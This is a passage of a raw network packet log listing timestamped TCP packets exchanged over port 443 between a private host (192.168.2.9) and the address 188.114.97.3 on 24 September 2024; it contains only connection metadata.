Sep 24, 2024 06:29:56.089612007 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.089624882 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.089641094 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.089679956 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.089831114 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.089901924 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.089911938 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.089965105 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.116133928 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.116164923 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.116224051 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.116234064 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.116247892 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.116271019 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.116303921 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.116303921 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.116311073 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.116390944 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.116478920 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.116487026 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.116578102 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.116655111 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.116666079 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.117891073 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.117943048 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.117957115 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.117971897 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.117984056 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.118613005 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.118633986 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.118676901 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.118685961 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.118695974 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.118716955 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.118741989 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.118747950 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.159740925 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.160366058 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.160420895 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.160470963 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.160481930 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.160531044 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.160531044 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.179651022 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.179671049 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.179790020 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.179804087 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.179867983 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.180129051 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.180152893 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.180243015 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.180253029 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.180293083 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.180371046 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.180464029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.180473089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.206502914 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.206525087 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.206593037 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.206615925 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.206654072 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.206931114 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.206945896 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.207047939 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.207062006 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.207133055 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.207191944 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.207201958 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.207242966 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.208468914 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.208487034 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.208704948 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.208714008 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.208762884 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.209268093 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.209285021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.209383011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.209391117 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.209445000 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.250875950 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.250895023 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.251008987 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.251024008 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.251076937 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.262311935 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.270520926 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.270538092 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.270714045 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.270729065 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.270857096 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.270967960 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.270983934 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.271275997 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.271285057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.271378994 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.271919012 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.271935940 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.272073984 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.272073984 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.272083044 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.272216082 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.301762104 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.301780939 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.301928997 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.301950932 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.302047014 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.302139044 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.302156925 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.302238941 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.302249908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.302292109 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.302572012 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.302594900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.302629948 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.302639961 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.302768946 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.302768946 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.303323030 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.303404093 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.303416967 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.303756952 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.303788900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.303823948 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.303833008 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.303853989 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.341578960 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.341708899 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.341723919 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.361484051 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.361536026 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.361571074 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.361584902 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.361629009 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.361695051 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.361897945 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.361917019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.361953974 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.361973047 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.361980915 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.362041950 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.362145901 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.362179041 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.362200022 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.362215042 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.362263918 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.362781048 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.362798929 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.362873077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.362873077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.362890959 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.363127947 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.395190001 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.395273924 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.395309925 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.395320892 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.395340919 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.395376921 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.395565033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.395606995 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.395690918 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.395690918 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.395698071 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.395860910 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.395934105 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.395941019 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.395978928 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.396044016 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.396044016 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.396127939 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.396169901 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.396220922 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.396228075 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.396254063 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.396269083 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.433506966 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.433554888 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.433646917 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.433655977 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.433701038 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.433701038 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.452553988 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.452573061 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.452663898 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.452691078 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.452748060 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.452884912 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.452928066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.452943087 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.452955961 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.452964067 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.453000069 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.453000069 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.453042030 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.453352928 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.453386068 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.453450918 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.453450918 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.453460932 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.482558012 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.482595921 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.482645035 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.482656002 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.482707977 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.482743979 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.482806921 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.482815981 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.483042002 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.483266115 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.483282089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.483324051 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.483345032 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.483354092 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.483375072 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.484185934 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.484208107 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.484338999 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.484338999 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.484349012 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.485733986 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.485804081 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.485846996 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.522639036 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.522730112 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.522774935 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.522802114 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.522813082 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.542896986 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.542946100 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.543090105 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.543090105 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.543113947 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.543565035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.543622017 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.543642998 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.543656111 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.543692112 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.543839931 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.543895006 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.543916941 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.543984890 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.543987036 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.544023991 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.544060946 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.544064999 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.544195890 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.544203997 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.544322968 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.544322968 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.575740099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.575783014 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.575840950 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.575860023 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.575937033 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.575937033 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.576096058 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.576138020 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.576179028 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.576185942 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.576221943 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.576550961 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.576589108 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.576595068 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.576638937 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.576642036 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.576735020 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.577282906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.577359915 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.577375889 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.577425003 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.581712008 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.581754923 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.581901073 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.581901073 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.581933022 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.585542917 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.589647055 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.613152981 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.613204002 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.613279104 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.613291025 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.613332987 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.633461952 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.633615971 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.633668900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.633708954 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.633755922 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.633755922 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.633765936 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.634167910 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.634227991 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.634238958 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.634253979 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.634602070 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.634609938 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.634697914 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.634741068 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.634782076 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.634790897 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.634967089 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.665991068 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.666009903 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.666145086 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.666158915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.666691065 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.666707993 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.666764975 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.666775942 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.666791916 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.667217016 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.667232990 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.667298079 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.667306900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.667340994 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.671942949 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.671961069 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.672069073 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.672069073 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.672071934 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.672091961 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.672126055 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.717722893 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.723912001 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.723963022 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.724047899 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.724061012 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.724173069 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.724173069 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.724349022 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.724412918 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.724462986 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.724469900 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:29:56.724495888 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:29:56.724508047 CEST	49748	443	192.168.2.9	188.114.97.3
